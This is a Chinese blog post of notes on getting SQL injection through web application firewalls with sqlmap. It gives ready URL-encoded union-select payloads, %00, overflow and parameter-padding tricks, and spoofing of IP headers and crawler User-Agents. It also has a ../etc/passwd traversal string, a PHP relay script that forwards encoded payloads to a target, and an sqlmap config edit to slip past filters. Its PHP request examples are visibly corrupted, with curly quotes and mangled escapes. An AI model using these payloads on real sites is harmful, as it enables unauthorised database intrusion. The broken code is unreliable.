WEB漏洞—SQL注入之SQLMAP绕过WAF

WEB漏洞—SQL注入之SQLMAP绕过WAF

在攻防实战中,往往需要掌控一些特性,比如服务器,数据库,应用层,WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用

Snipaste_2022-05-02_14-54-20

1、逻辑问题

(1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。

(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。

(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。

(4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题

猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。

例子1:

1
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:

1
?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata

PS:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
https://addons.mozilla.org/en-us/firefox/addon/user-agent-switcher/
【小迪公众号笔记】

静态资源:就是如下图,可以看到我输入了一个不存在的文件名,但是网站还是正常的将id=1传到index.php这个文件中了,那么这也是一种可以绕过WAF的方式,因为很有可能网站是对index.php 进行过滤,而没有对其他类型的文件进行过滤。以前的老版本的安全狗是可以直接用这种方法绕过的。现在不行了。。。。

Snipaste_2022-05-03_10-44-53

我用的是apache3.5的版本是可以用静态资源进行绕过安全狗的。。。

报错猜解

Snipaste_2022-05-03_10-49-36

版本和数据库名。。。后面就不继续了,懂的都懂

Snipaste_2022-05-03_10-50-50

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload

%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

%23x%0aunion%23x%0Aselect%201,2,3

%20union%20/*!44509select*/%201,2,3 /*!44509select*/:通过插入版本号(4.45.09),绕过检测机制
%20/*!44509union*/%23x%0aselect%201,2,3

id=1/**&id=-1%20union%20select%201,2,3%23*/ 特殊符号

%20union%20all%23%0a%20select%201,2,3%23
【小迪公众号笔记】

ps:

当扫描工具或脚本对网站进行扫描爬取时如果出现禁止访问或者误报,可以修改user-agent为搜索引擎的ua,这样可能可以绕过waf拦截(waf有一个爬虫白名单,修改为搜索引擎ua后就可以利用白名单绕过访问速度过快导致的IP封禁)

为什么要写绕过脚本?

在渗透测试时经常会使用一些安全工具进行自动化检测或扫描如: sqlmap,nmap等等;而这些工具一般都会被安全公司提取程序指纹信息到自家的waf的指纹库中;

当waf遇到请求数据包中含有这些指纹信息的就会直接拦截,这就是我们对安装waf的网站使用工具进行扫描时被直接拦截的主要原因。

我们如果纯手工对目标站点进行渗透测试是不切实际的,某些安全工具虽然自带了一些绕过脚本,但是可能因为waf匹配规则的更新或应用场景不适用等情况无法正常使用,这时候就需要为安全工具针对性的开发一些脚本。

PS1: 某些情况下网站使用了字符编码或waf对某些恶意语句进行了拦截,如果不编写绕过脚本,工具也是无法进行工作的。所以在使用工具时需要先解决工具被waf拦截的问题,然后在考虑怎样利用工具进行渗透测试。

开发绕过脚本需要先了解什么

为工具编写绕过脚本需要先知道waf对工具的哪些特征进行了匹配拦截:

如何知道waf匹配检测的规则:

  1. 通过waf的指纹库中工具的指纹信息(查看waf 的拦截规则)
  2. 通过waf日志(waf日志中会写拦截原因)
  3. 通过抓包(人工访问时的数据包与工具访问时的数据包进行对比替换,直到找到工具的特征)
  4. 针对访问速度进行拦截: waf开启cc攻击防护的话会对访问速度进行限制,速度过快会被直接拦截 (绕过方式: 使用代理池或延时,或利用爬虫白名单绕过)

如果waf对工具的匹配的指纹信息是user-agent等sqlmap可以自定义的参数,那么直接更改参数值即可绕过,如果是无法修改的参数就需要利用中转脚本(抓数据包复制到文本中修改参数后再进行注入扫描)或自己编写脚本进行绕过。

在解决工具拦截的问题后再针对功能需求开发脚本即可!

1.中转注入原理:

sqlmap注入一个本地脚本地址 => 本地搭建一个脚本(请求远程地址的数据包可以自定义编写) => 目标站点URL

PHP中转注入参考代码:

1
2
3
4
5
6
7
8
<?php
$url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);
echo $payload;
$urls=$url.$payload;
file_get_contents($urls);
echo $urls;
?>

PHP发送HTTP请求的6种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
方法1: 用 file_get_contents 以get方式获取内容:

<?php
$url = 'https://wenda.shukaiming.com/';
echo file_get_contents($url);
?>

方法2: 用fopen打开url, 以get方式获取内容:

<?php
//r标识read,即标识只读
$fp = fopen($url, 'r');
stream_get_meta_data($fp);
while (!feof($fp)) {
$body.= fgets($fp, 1024);
}
echo $body;
fclose($fp);
?>

方法3:用 file_get_contents函数,以post方式获取url

<?php
$data = array(‘foo' => ‘bar');
$data = http_build_query($data);
$opts = array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencodedrn' . 'Content-Length: ' . strlen($data) . '\r\n', 'content' => $data));
$context = stream_context_create($opts);
$html = file_get_contents('https://wenda.shukaming.com', false, $context);
echo $html;
?>


方法4:用fsockopen函数打开url,以get方式获取完整的数据,包括header和body,fsockopen需要 PHP.ini 中 allow_url_fopen 选项开启

<?php
function get_url($url, $cookie = false) {
$url = parse_url($url);
$query = $url[path] . ” ? ” . $url[query];
echo $query;
$fp = fsockopen($url[host], $url[port] ? $url[port] : 80, $errno, $errstr, 30);
if (!$fp) {
return false;
} else {
$request = "GET $query HTTP/1.1\r\n";
$request.= "Host: $url[host]\r\n";
$request.= "Connection: Close\r\n";
if ($cookie) $request.= "Cookie: $cookien";
$request.= "\r\n";
fwrite($fp, $request);
while (!@feof($fp)) {
$result.= @fgets($fp, 1024);
}
fclose($fp);
return $result;
}
}
//获取url的html部分,去掉header
function GetUrlHTML($url, $cookie = false) {
$rowdata = get_url($url, $cookie);
if ($rowdata) {
$body = stristr($rowdata, ”rnrn”);
$body = substr($body, 4, strlen($body));
return $body;
}
return false;
}
?>



方法5:用fsockopen函数打开url,以POST方式获取完整的数据,包括header和body

<?php
function HTTP_Post($URL, $data, $cookie, $referrer = "") {
// parsing the given URL
$URL_Info = parse_url($URL);
// Building referrer
if ($referrer == "") // if not given use this script as referrer
$referrer = "111";
// making string from $data
foreach ($data as $key => $value) $values[] = "$key=" . urlencode($value);
$data_string = implode("&", $values);
// Find out which port is needed – if not given use standard (=80)
if (!isset($URL_Info["port"])) $URL_Info["port"] = 80;
// building POST-request:
$request.= "POST " . $URL_Info["path"] . " HTTP/1.1\n";
$request.= "Host: " . $URL_Info["host"] . "\n";
$request.= "Referer: $referer\n";
$request.= "Content-type: application/x-www-form-urlencodedn";
$request.= "Content-length: " . strlen($data_string) . "\n";
$request.= "Connection: closen";
$request.= "Cookie: $cookien";
$request.= "\n";
$request.= $data_string . "\n";
$fp = fsockopen($URL_Info["host"], $URL_Info["port"]);
fputs($fp, $request);
while (!feof($fp)) {
$result.= fgets($fp, 1024);
}
fclose($fp);
return $result;
}
?>



方法6:使用curl库,使用curl库之前,可能需要查看一下php.ini是否已经打开了curl扩展

<?php
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, 'http://wenda.shukaiming.com');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$file_contents = curl_exec($ch);
curl_close($ch);
echo $file_contents;
?>

参考链接:
https://www.cnblogs.com/keta/p/9469417.html

3.实战编写sqlmap绕过脚本

修改sqlmap的user-agent方式有三种:

  1. 临时修改(使用参数 –user-anget = 指定ua)

  2. 临时修改( 使用参数 –random-agent 随机user-agent)

  3. 永久修改

    1
    2
    3
    4
    5
    6
    7
    更改sqlmap目录下的lib/core/settings.py中的27行代码,扫描时可过一些waf


    DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)

    修改为(谷歌爬虫ua):
    DEFAULT_USER_AGENT ="User-Agent:Mozilla/5.0 (compatible; baiduspider/2.0; +http://www.baidu.com/search/spider.html)"

推荐第三种,一劳永逸;

第二种随机使用ua在工具发送数据包速度过快的情况下还是会被拦截

第一种方法虽然可以个人指定ua,但是相对麻烦